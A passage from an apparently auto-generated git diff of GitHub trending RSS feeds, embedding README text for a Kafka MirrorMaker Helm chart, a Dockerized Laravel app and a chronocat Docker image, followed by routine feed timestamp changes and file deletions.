Tag of Kafka MirrorMaker.</td> <td><code>latest</code></td> </tr> <tr> <td><code>imagePullPolicy</code></td> <td>Docker Image Tag of Kafka MirrorMaker.</td> <td><code>IfNotPresent</code></td> </tr> <tr> <td><code>imagePullSecrets</code></td> <td>Secrets to be used for private registries.</td> <td>see <a href="https://raw.githubusercontent.com/ops-guru/og-helm-kafka-mm/master/values.yaml">values.yaml</a> for details</td> </tr> </tbody> </table> <h3>Kafka MM JVM Heap Options</h3> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td><code>heapOptions</code></td> <td>The JVM Heap Options for Kafka MirrorMaker</td> <td><code>"-Xms1024M -Xmx1024M"</code></td> </tr> </tbody> </table> <h3>Resources</h3> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td><code>resources.requests.cpu</code></td> <td>The amount of CPU to request.</td> <td>see <a href="https://raw.githubusercontent.com/ops-guru/og-helm-kafka-mm/master/values.yaml">values.yaml</a> for details</td> </tr> <tr> <td><code>resources.requests.memory</code></td> <td>The amount of memory to request.</td> <td>see <a href="https://raw.githubusercontent.com/ops-guru/og-helm-kafka-mm/master/values.yaml">values.yaml</a> for details</td> </tr> <tr> <td><code>resources.requests.limit</code></td> <td>The upper limit CPU usage for a Kafka Connect Pod.</td> <td>see <a href="https://raw.githubusercontent.com/ops-guru/og-helm-kafka-mm/master/values.yaml">values.yaml</a> for details</td> </tr> <tr> <td><code>resources.requests.limit</code></td> <td>The upper limit memory usage for a Kafka Connect Pod.</td> <td>see <a href="https://raw.githubusercontent.com/ops-guru/og-helm-kafka-mm/master/values.yaml">values.yaml</a> for details</td> </tr> </tbody> </table> <h3>Annotations</h3> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td><code>podAnnotations</code></td> <td>Map of custom annotations to attach to the pod spec.</td> <td><code>{}</code></td> </tr> </tbody> </table> <h3>JMX Configuration</h3> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td><code>jmx.port</code></td> <td>The jmx port which JMX style metrics are exposed.</td> <td><code>9998</code></td> </tr> <tr> <td><code>jmx.enabled</code></td> <td>Whether or not to install Prometheus JMX Exporter as a sidecar container and expose JMX metrics to Prometheus.</td> <td><code>true</code></td> </tr> </tbody> </table> <h3>Prometheus JMX Exporter Configuration</h3> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td><code>prometheus.jmx.image</code></td> <td>Docker Image for Prometheus JMX Exporter container.</td> <td><code>solsson/kafka-prometheus-jmx-exporter@sha256</code></td> </tr> <tr> <td><code>prometheus.jmx.imageTag</code></td> <td>Docker Image Tag for Prometheus JMX Exporter container.</td> <td><code>6f82e2b0464f50da8104acd7363fb9b995001ddff77d248379f8788e78946143</code></td> </tr> <tr> <td><code>prometheus.jmx.port</code></td> <td>JMX Exporter Port which exposes metrics in Prometheus format for scraping.</td> <td><code>5556</code></td> </tr> <tr> <td><code>prometheus.jmx.resources</code></td> <td>JMX Exporter resources configuration.</td> <td>see <a href="https://raw.githubusercontent.com/ops-guru/og-helm-kafka-mm/master/values.yaml">values.yaml</a> for details</td> </tr> </tbody> </table> <h3>Deployment Topology</h3> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td><code>nodeSelector</code></td> <td>Dictionary containing key-value-pairs to match labels on nodes. When defined pods will only be scheduled on nodes, that have each of the indicated key-value pairs as labels. Further information can be found in the <a href="https://kubernetes.io/docs/concepts/configuration/assign-pod-node/">Kubernetes documentation</a></td> <td><code>{}</code></td> </tr> <tr> <td><code>tolerations</code></td> <td>Array containing taint references. When defined, pods can run on nodes, which would otherwise deny scheduling. Further information can be found in the <a href="https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/">Kubernetes documentation</a></td> <td><code>{}</code></td> </tr> </tbody> </table> <h2>Dependencies</h2> <h3>Kafka</h3> <table> <thead> <tr> <th>Parameter</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td><code>kafka.topicWhitelist</code></td> <td>Regex for a topic whitelist</td> <td><code>".*"</code></td> </tr> <tr> <td><code>kafka.numStreams</code></td> <td>Number of consumers to create</td> <td><code>"1"</code></td> </tr> <tr> <td><code>kafka.overrideGroupId</code></td> <td>Specify custom group.id. Do not specify group.id in <code>kafka.consumerConfig</code> - use this variable to override the default</td> <td><code>".Release.Name"</code></td> </tr> <tr> <td><code>kafka.consumerProperties</code></td> <td>Kafka consumer settings. This should include <code>kafka.bootstrap.servers</code></td> <td></td> </tr> <tr> <td><code>kafka.producerProperties</code></td> <td>Kafka producer settings. This should include <code>kafka.bootstrap.servers</code></td> <td></td> </tr> </tbody> </table> - - - shipping-docker/php-app - 2023-10-29T01:50:29Z - tag:github.com,2023-10-29:/shipping-docker/php-app - - <p>A containerized Laravel application</p><hr><h1>Containerized PHP Application</h1> <p><a href="https://shippingdocker.com" title="learn how to use docker in dev and production"><img src="https://cloud.githubusercontent.com/assets/467411/18037593/12321512-6d4e-11e6-8514-e8454f4fd286.jpg" alt="Shipping Docker video series"></a></p> <h2>What is this?</h2> <p>This is an example of how you can quickly get up and running with Docker to develop a PHP application. This is a companion to the 🐳 <a href="https://shippingdocker.com/">Shipping Docker</a> video series.</p> <h2>Teach me how to use it!</h2> <p>I have a mini-course that uses this example to show you how to get up and running in Docker for development!</p> <p><strong>Sign up here to get an email with a link to the mini course to see how this works!</strong></p> <p><a href="http://shippingdocker.com/#signup" title="see how to use Docker in development"><img src="https://cloud.githubusercontent.com/assets/467411/18333423/8ef22c66-7534-11e6-950d-850be40d9af0.png" alt="Shipping Docker mini-course" width="600" height="200" style="width: 600px; height: 200px;"></a></p> <h2>How to use</h2> <h3>1. Get the files and spin up containers</h3> <pre><code class="language-bash"># Get shipping-docker files git clone https://github.com/shipping-docker/php-app.git cd php-app # Start the app, run containers # in the background # This will download and build the images # the first time you run this docker-compose up -d </code></pre> <p>At this point, we've created containers and have them up and running. However, we didn't create a Laravel application to serve yet. We waited because we wanted a PHP image to get created so we can re-use it and run <code>composer</code> commands.</p> <h3>2. Create a new Laravel application</h3> <pre><code class="language-bash"># From directory "php-app" # Create a Laravel application docker run -it --rm \ -v $(pwd):/opt \ -w /opt \ --network=phpapp_appnet \ shippingdocker/php \ composer create-project laravel/laravel application docker run -it --rm \ -v $(pwd)/application:/opt \ -w /opt \ --network=phpapp_appnet \ shippingdocker/php \ composer require predis/predis # Restart required to ensure # app files shares correctly docker-compose restart </code></pre> <p>Edit the <code>application/.env</code> file to have correct settings for our containers. Adjust the following as necessary:</p> <pre><code>DB_CONNECTION=mysql DB_HOST=db DB_PORT=3306 DB_DATABASE=homestead DB_USERNAME=homestead DB_PASSWORD=secret BROADCAST_DRIVER=log CACHE_DRIVER=redis SESSION_DRIVER=redis QUEUE_DRIVER=sync REDIS_HOST=redis REDIS_PASSWORD=null REDIS_PORT=6379 </code></pre> <blockquote> <p>If you already have an application, you can move it to the <code>application</code> directory here. Else, you can adjust the shared volume file paths within the <code>docker-compose.yml</code> file.</p> <p>If you edit the <code>docker-compose.yml</code> file, run <code>docker-compose down; docker-compose up -d</code> to suck in the new Volume settings.</p> </blockquote> <p><strong>NOTE</strong>: If you're not running Docker Mac/Windows (which run Docker in a small virtualized layer), you may need to set permissions on the shared directories that Laravel needs to write to. The following will let Laravel write the storage and bootstrap directories:</p> <pre><code class="language-bash"># From directory php-app chmod -R o+rw application/bootstrap application/storage </code></pre> <h3>3. (Optionally) Add Auth Scaffolding:</h3> <p>If you'd like, we can add Laravel's Auth scaffolding as well. To do that, we need to run some Artisan commands:</p> <pre><code class="language-bash"># Scaffold authentication views/routes docker run -it --rm \ -v $(pwd)/application:/opt \ -w /opt \ --network=phpapp_appnet \ shippingdocker/php \ php artisan make:auth # Run migrations for auth scaffolding docker run -it --rm \ -v $(pwd)/application:/opt \ -w /opt \ --network=phpapp_appnet \ shippingdocker/php \ php artisan migrate </code></pre> <p>Now we can start using our application! Head to <code>http://localhost/register</code> to see your Laravel application with auth scaffolding in place.</p> <p><img src="https://cloud.githubusercontent.com/assets/467411/18038743/6ac84008-6d61-11e6-8aa6-30a776b59aaa.png" alt="image"></p> - - - yuuki-nya/chronocat-docker - 2023-10-29T01:50:29Z - tag:github.com,2023-10-29:/yuuki-nya/chronocat-docker - - <p>本仓库是学习docker的打包与自动化构建,请下载后24小时内删除</p><hr><h1>chronocat-docker</h1> <p>本仓库是学习docker的打包与自动化构建,请下载后24小时内删除</p> <h2>使用</h2> <h3>快速运行</h3> <pre><code class="language-bash">docker run -d --name chronocat-docker -e VNC_PASSWD=vncpasswd -p 5500:5500 -p 5900:5900 -p 6081:6081 -p 16530:16530 -v ${PWD}/config:/root/.chronocat/config yuukinya/chronocat-docker </code></pre> <p>其中vncpasswd换成你的VNC密码</p> <p>或者下载代码中的docker-compose.yml,然后执行</p> <pre><code class="language-bash">docker-compose up -d </code></pre> <h3>数据固化(可选)</h3> <p>先完成上面的<code>快速运行</code>,保证容器在运行状态</p> <pre><code class="language-bash"># 进入项目目录 mkdir data # 复制数据到data目录 docker cp chronocat-docker:/root/.config/QQ ./data </code></pre> <p>如果之前是docker run运行的,执行</p> <pre><code class="language-bash">docker run -d --name chronocat-docker -e VNC_PASSWD=vncpasswd -p 5500:5500 -p 5900:5900 -p 6081:6081 -p 16530:16530 -v ${PWD}/config:/root/.chronocat/config -v ${PWD}/data/QQ:/root/.config/QQ yuukinya/chronocat-docker </code></pre> <p>如果之前是docker-compose运行的,编辑docker-compose.yml,把volumes下两行的开头注释去掉,保存,再执行</p> <pre><code class="language-bash">docker-compose up -d </code></pre> <h3>noVNC登陆</h3> <p>浏览器访问<code>http://服务器IP:6081</code>,默认密码是<code>vncpasswd</code></p> <h3>VNC登陆</h3> <p>使用VNC软件登陆<code>服务器IP:5900</code>,默认密码是<code>vncpasswd</code></p> <h3>修改chronocat配置</h3> <p>修改当前目录/config/chronocat.yml,修改后重启容器即可</p> <h3>修改VNC密码</h3> <pre><code class="language-bash">docker exec chronocat-docker sh -c "x11vnc -storepasswd newpasswd /root/.vnc/passwd" </code></pre> <p>其中newpasswd换成你的新密码,立即生效,无需重启容器</p> <h2>如何更新</h2> <p>本镜像一般不会只更新chronocat,如果需要只更新chronocat可以使用LiteLoaderQQNT自行更新</p> <ol> <li> <p>更新前请做好数据备份,比如数据固化</p> </li> <li> <p>删除容器并删除镜像,下面是代码示例</p> <pre><code class="language-bash">docker rm -f chronocat-docker &amp;&amp; docker rmi yuukinya/chronocat-docker </code></pre> </li> <li> <p>重新pull最近镜像</p> <pre><code class="language-bash">docker pull yuukinya/chronocat-docker </code></pre> </li> <li> <p>按照前面的使用教程操作</p> </li> </ol> <h2>已知问题</h2> <ul> <li>容器重启后,桌面的任务栏可能会消失,如果触发了请不要缩小或者点叉关闭,建议保持在聊天的界面,再关闭VNC远程</li> <li>合并转发不可用在Linux版本</li> </ul> <h2>TODO</h2> <ul> <li><input type="checkbox" checked disabled> 能固化已登陆的数据</li> <li><input type="checkbox" checked disabled> 使用docker的environment来指定VNC密码</li> </ul> <h2>更新日志</h2> <h3>2023-10-19</h3> <ul> <li>更新chronocat至0.0.54</li> </ul> <h3>2023-10-17</h3> <ul> <li>更新chronocat至0.0.53</li> </ul> <h3>2023-10-13</h3> <ul> <li>更新chronocat至0.0.52</li> <li>新增satori默认端口</li> </ul> <h3>2023-10-3</h3> <ul> <li>更新chronocat至0.0.48</li> <li>使用docker的environment来指定VNC密码 <a href="https://github.com/yuuki-nya/chronocat-docker/issues/2">Issue #2</a></li> <li>新增noVNC,使用浏览器来登陆VNC <a href="https://github.com/yuuki-nya/chronocat-docker/issues/2">Issue #2</a></li> </ul> <p>感谢 <a href="https://github.com/ZGLinus">ZGLinus</a>提供的思路和代码</p> <h3>2023-9-25</h3> <ul> <li>更新chronocat至0.0.46</li> <li>修改chronocat配置映射至宿主机</li> <li>固化已登陆数据 <a href="https://github.com/yuuki-nya/chronocat-docker/issues/1">Issue #1</a></li> </ul> <h3>2023-9-22</h3> <ul> <li>初始版本</li> </ul> - - \ No newline at end of file diff --git a/dogescript/daily/index.xml b/dogescript/daily/index.xml index 4926c1b5e9e..332de0fd0fc 100644 --- a/dogescript/daily/index.xml +++ b/dogescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dogescript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:15Z + 2023-10-30T01:26:56Z Daily Trending of Dogescript in GitHub \ No newline at end of file diff --git a/dogescript/weekly/index.xml b/dogescript/weekly/index.xml deleted file mode 100644 index f58cc232a99..00000000000 --- a/dogescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Dogescript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:24Z - Weekly Trending of Dogescript in GitHub - - \ No newline at end of file diff --git a/dtrace/daily/index.xml b/dtrace/daily/index.xml index 5bf7d1053b9..7593ab8168b 100644 --- a/dtrace/daily/index.xml +++ b/dtrace/daily/index.xml @@ -1,7 +1,7 @@ GitHub DTrace Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:16Z + 2023-10-30T01:26:57Z Daily Trending of DTrace in GitHub \ No newline at end of file diff --git a/dtrace/weekly/index.xml b/dtrace/weekly/index.xml deleted file mode 100644 index 628479e8eb4..00000000000 --- a/dtrace/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub DTrace Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:50:26Z - Weekly Trending of DTrace in GitHub - - \ No newline at end of file diff --git a/dylan/daily/index.xml b/dylan/daily/index.xml index 0193efbc435..ef281c5ea06 100644 --- a/dylan/daily/index.xml +++ b/dylan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dylan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:49Z + 2023-10-30T01:27:11Z Daily Trending of Dylan in GitHub \ No newline at end of file diff --git a/dylan/weekly/index.xml b/dylan/weekly/index.xml deleted file mode 100644 index 6558718435f..00000000000 --- a/dylan/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Dylan Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:11Z - Weekly Trending of Dylan in GitHub - - \ No newline at end of file diff --git a/e-mail/daily/index.xml b/e-mail/daily/index.xml index 0f533a4aaa4..917bc26768e 100644 --- a/e-mail/daily/index.xml +++ b/e-mail/daily/index.xml @@ -1,7 +1,7 @@ GitHub E-mail Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:10Z + 2023-10-30T01:27:32Z Daily Trending of E-mail in GitHub \ No newline at end of file diff --git a/e-mail/weekly/index.xml b/e-mail/weekly/index.xml deleted file mode 100644 index 9709acc14ca..00000000000 --- a/e-mail/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub E-mail Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:34Z - Weekly Trending of E-mail in GitHub - - \ No newline at end of file diff --git a/e/daily/index.xml b/e/daily/index.xml index f994e53ca25..5eb690fca8c 100644 --- a/e/daily/index.xml +++ b/e/daily/index.xml @@ -1,7 +1,7 @@ GitHub E Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:48Z + 2023-10-30T01:27:14Z Daily Trending of E in GitHub \ No newline at end of file diff --git a/e/weekly/index.xml b/e/weekly/index.xml deleted file mode 100644 index 241ff9cb5a6..00000000000 --- a/e/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub E Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:10Z - Weekly Trending of E in GitHub - - \ No newline at end of file diff --git a/eagle/daily/index.xml b/eagle/daily/index.xml index b9bcd3e65c2..041a2d07c2b 100644 --- a/eagle/daily/index.xml +++ b/eagle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Eagle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:47Z + 2023-10-30T01:27:12Z Daily Trending of Eagle in GitHub \ No newline at end of file diff --git a/eagle/weekly/index.xml b/eagle/weekly/index.xml deleted file mode 100644 index 0e2b2e1f9b1..00000000000 --- a/eagle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Eagle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:08Z - Weekly Trending of Eagle in GitHub - - \ No newline at end of file diff --git a/earthly/daily/index.xml b/earthly/daily/index.xml index bca6835a2f7..1c3e2b79b94 100644 --- a/earthly/daily/index.xml +++ b/earthly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Earthly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:50Z + 2023-10-30T01:27:15Z Daily Trending of Earthly in GitHub \ No newline at end of file diff --git a/earthly/weekly/index.xml b/earthly/weekly/index.xml deleted file mode 100644 index 2d6bfdecdce..00000000000 --- a/earthly/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Earthly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:15Z - Weekly Trending of Earthly in GitHub - - \ No newline at end of file diff --git a/easybuild/daily/index.xml b/easybuild/daily/index.xml index dbdd3876e4e..39c4b6feb72 100644 --- a/easybuild/daily/index.xml +++ b/easybuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Easybuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:51Z + 2023-10-30T01:27:15Z Daily Trending of Easybuild in GitHub \ No newline at end of file diff --git a/easybuild/weekly/index.xml b/easybuild/weekly/index.xml deleted file mode 100644 index a58d81c14b2..00000000000 --- a/easybuild/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Easybuild Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:16Z - Weekly Trending of Easybuild in GitHub - - \ No newline at end of file diff --git a/ebnf/daily/index.xml b/ebnf/daily/index.xml index 9e00252d50a..5ba23d18d96 100644 --- a/ebnf/daily/index.xml +++ b/ebnf/daily/index.xml @@ -1,7 +1,7 @@ GitHub EBNF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:52Z + 2023-10-30T01:27:17Z Daily Trending of EBNF in GitHub \ No newline at end of file diff --git a/ebnf/weekly/index.xml b/ebnf/weekly/index.xml deleted file mode 100644 index d2cc7a3545b..00000000000 --- a/ebnf/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub EBNF Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:14Z - Weekly Trending of EBNF in GitHub - - \ No newline at end of file diff --git a/ec/daily/index.xml b/ec/daily/index.xml index 0c69de79be6..9e4b497e93b 100644 --- a/ec/daily/index.xml +++ b/ec/daily/index.xml @@ -1,7 +1,7 @@ GitHub eC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:51Z + 2023-10-30T01:27:16Z Daily Trending of eC in GitHub \ No newline at end of file diff --git a/ec/weekly/index.xml b/ec/weekly/index.xml deleted file mode 100644 index 6d4a4abaca8..00000000000 --- a/ec/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub eC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:13Z - Weekly Trending of eC in GitHub - - \ No newline at end of file diff --git a/ecere-projects/daily/index.xml b/ecere-projects/daily/index.xml index 42c1119ac3b..90cacd39fd9 100644 --- a/ecere-projects/daily/index.xml +++ b/ecere-projects/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ecere Projects Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:54Z + 2023-10-30T01:27:19Z Daily Trending of Ecere Projects in GitHub \ No newline at end of file diff --git a/ecere-projects/weekly/index.xml b/ecere-projects/weekly/index.xml deleted file mode 100644 index c4ffabb58df..00000000000 --- a/ecere-projects/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ecere Projects Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:17Z - Weekly Trending of Ecere Projects in GitHub - - \ No newline at end of file diff --git a/ecl/daily/index.xml b/ecl/daily/index.xml index 6c016db0912..223055b1189 100644 --- a/ecl/daily/index.xml +++ b/ecl/daily/index.xml @@ -1,7 +1,7 @@ GitHub ECL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:55Z + 2023-10-30T01:27:18Z Daily Trending of ECL in GitHub \ No newline at end of file diff --git a/ecl/weekly/index.xml b/ecl/weekly/index.xml deleted file mode 100644 index 0082b49add8..00000000000 --- a/ecl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ECL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:20Z - Weekly Trending of ECL in GitHub - - \ No newline at end of file diff --git a/eclipse/daily/index.xml b/eclipse/daily/index.xml index af34a33760f..a6337b0dfc9 100644 --- a/eclipse/daily/index.xml +++ b/eclipse/daily/index.xml @@ -1,7 +1,7 @@ GitHub ECLiPSe Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:53Z + 2023-10-30T01:27:19Z Daily Trending of ECLiPSe in GitHub \ No newline at end of file diff --git a/eclipse/weekly/index.xml b/eclipse/weekly/index.xml deleted file mode 100644 index 5098cc2a1fc..00000000000 --- a/eclipse/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ECLiPSe Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:19Z - Weekly Trending of ECLiPSe in GitHub - - \ No newline at end of file diff --git a/editorconfig/daily/index.xml b/editorconfig/daily/index.xml index 22154c95f4c..3252d2afe51 100644 --- a/editorconfig/daily/index.xml +++ b/editorconfig/daily/index.xml @@ -1,7 +1,7 @@ GitHub EditorConfig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:57Z + 2023-10-30T01:27:21Z Daily Trending of EditorConfig in GitHub \ No newline at end of file diff --git a/editorconfig/weekly/index.xml b/editorconfig/weekly/index.xml deleted file mode 100644 index 4aa96092300..00000000000 --- a/editorconfig/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub EditorConfig Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:22Z - Weekly Trending of EditorConfig in GitHub - - \ No newline at end of file diff --git a/edje-data-collection/daily/index.xml b/edje-data-collection/daily/index.xml index 7a36e1bbe19..675a22ce407 100644 --- a/edje-data-collection/daily/index.xml +++ b/edje-data-collection/daily/index.xml @@ -1,7 +1,7 @@ GitHub Edje Data Collection Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:00Z + 2023-10-30T01:27:23Z Daily Trending of Edje Data Collection in GitHub \ No newline at end of file diff --git a/edje-data-collection/weekly/index.xml b/edje-data-collection/weekly/index.xml deleted file mode 100644 index cd195e441ee..00000000000 --- a/edje-data-collection/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Edje Data Collection Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:23Z - Weekly Trending of Edje Data Collection in GitHub - - \ No newline at end of file diff --git a/edn/daily/index.xml b/edn/daily/index.xml index 076cb6e5aa9..08f3bec4897 100644 --- a/edn/daily/index.xml +++ b/edn/daily/index.xml @@ -1,7 +1,7 @@ GitHub edn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:59Z + 2023-10-30T01:27:22Z Daily Trending of edn in GitHub \ No newline at end of file diff --git a/edn/weekly/index.xml b/edn/weekly/index.xml deleted file mode 100644 index 770425fcc8f..00000000000 --- a/edn/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub edn Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:21Z - Weekly Trending of edn in GitHub - - \ No newline at end of file diff --git a/eiffel/daily/index.xml b/eiffel/daily/index.xml index 81e293d78e1..4e0f37cff45 100644 --- a/eiffel/daily/index.xml +++ b/eiffel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Eiffel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:30:58Z + 2023-10-30T01:27:23Z Daily Trending of Eiffel in GitHub \ No newline at end of file diff --git a/eiffel/weekly/index.xml b/eiffel/weekly/index.xml deleted file mode 100644 index cf9ca8eb247..00000000000 --- a/eiffel/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Eiffel Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:24Z - Weekly Trending of Eiffel in GitHub - - \ No newline at end of file diff --git a/ejs/daily/index.xml b/ejs/daily/index.xml index e72f8df10d9..9dc97bc8d7f 100644 --- a/ejs/daily/index.xml +++ b/ejs/daily/index.xml @@ -1,21 +1,7 @@ GitHub EJS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:03Z + 2023-10-30T01:27:26Z Daily Trending of EJS in GitHub - - shuttlenetwork/shuttle - 2023-10-29T01:31:03Z - tag:github.com,2023-10-29:/shuttlenetwork/shuttle - - <p>Experience the global internet using Shuttle, the swiftest and most uncluttered proxy solution. Relish a heightened level of privacy during your online sessions, free from censorship.</p><hr> - - - Rs-py/tesla - 2023-10-29T01:31:03Z - tag:github.com,2023-10-29:/Rs-py/tesla - - <p>This is a simple, compact nodejs site to show someone how much money they would save if they switched to a Tesla from a gas vehicle.</p><hr> - \ No newline at end of file diff --git a/ejs/weekly/index.xml b/ejs/weekly/index.xml deleted file mode 100644 index ec6a2012329..00000000000 --- a/ejs/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub EJS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:28Z - Weekly Trending of EJS in GitHub - - - shuttlenetwork/shuttle - 2023-10-29T01:51:28Z - tag:github.com,2023-10-29:/shuttlenetwork/shuttle - - <p>Experience the global internet using Shuttle, the swiftest and most uncluttered proxy solution. Relish a heightened level of privacy during your online sessions, free from censorship.</p><hr> - - - Kritika30032002/Blog_Website - 2023-10-29T01:51:28Z - tag:github.com,2023-10-29:/Kritika30032002/Blog_Website - - <p>This is a blog website where user can compose their blogs. The blogs are saved in database.</p><hr> - - \ No newline at end of file diff --git a/elixir/daily/index.xml b/elixir/daily/index.xml index 311eba60fe4..0ff58f5e343 100644 --- a/elixir/daily/index.xml +++ b/elixir/daily/index.xml @@ -1,7 +1,21 @@ GitHub Elixir Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:07Z + 2023-10-30T01:27:29Z Daily Trending of Elixir in GitHub + + spawnfest/heimdall + 2023-10-30T01:27:29Z + tag:github.com,2023-10-30:/spawnfest/heimdall + + <p></p><hr> + + + spawnfest/kumite + 2023-10-30T01:27:29Z + tag:github.com,2023-10-30:/spawnfest/kumite + + <p></p><hr> + \ No newline at end of file diff --git a/elixir/weekly/index.xml b/elixir/weekly/index.xml deleted file mode 100644 index 67a160800bd..00000000000 --- a/elixir/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Elixir Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:32Z - Weekly Trending of Elixir in GitHub - - - BeaconCMS/beacon_live_admin - 2023-10-29T01:51:32Z - tag:github.com,2023-10-29:/BeaconCMS/beacon_live_admin - - <p>Admin UI to manage content for sites built by Beacon.</p><hr> - - \ No newline at end of file diff --git a/elm/daily/index.xml b/elm/daily/index.xml index 7c819242388..cc223b0a811 100644 --- a/elm/daily/index.xml +++ b/elm/daily/index.xml @@ -1,7 +1,14 @@ GitHub Elm Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:04Z + 2023-10-30T01:27:25Z Daily Trending of Elm in GitHub + + elm-in-elm/compiler + 2023-10-30T01:27:25Z + tag:github.com,2023-10-30:/elm-in-elm/compiler + + <p>Elm compiler written in Elm</p><hr> + \ No newline at end of file diff --git a/elm/weekly/index.xml b/elm/weekly/index.xml deleted file mode 100644 index b79c988135f..00000000000 --- a/elm/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Elm Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:51:26Z - Weekly Trending of Elm in GitHub - - \ No newline at end of file diff --git a/emacs-lisp/daily/index.xml b/emacs-lisp/daily/index.xml index cf129512622..d61e571de9a 100644 --- a/emacs-lisp/daily/index.xml +++ b/emacs-lisp/daily/index.xml @@ -1,14 +1,14 @@ GitHub Emacs Lisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:31:13Z + 2023-10-30T01:27:34Z Daily Trending of Emacs Lisp in GitHub - liuyinz/mini-echo.el - 2023-10-29T01:31:13Z - tag:github.com,2023-10-29:/liuyinz/mini-echo.el - - <p>Show buffer status in echo area , get rid of mode-line!</p><hr><h1>mini-echo.el</h1> <p>Echo buffer status in minibuffer window instead of mode-line. A lightweight replacement of <a href="https://github.com/kiennq/emacs-mini-modeline">mini-modeline</a></p> <!-- markdown-toc start --> 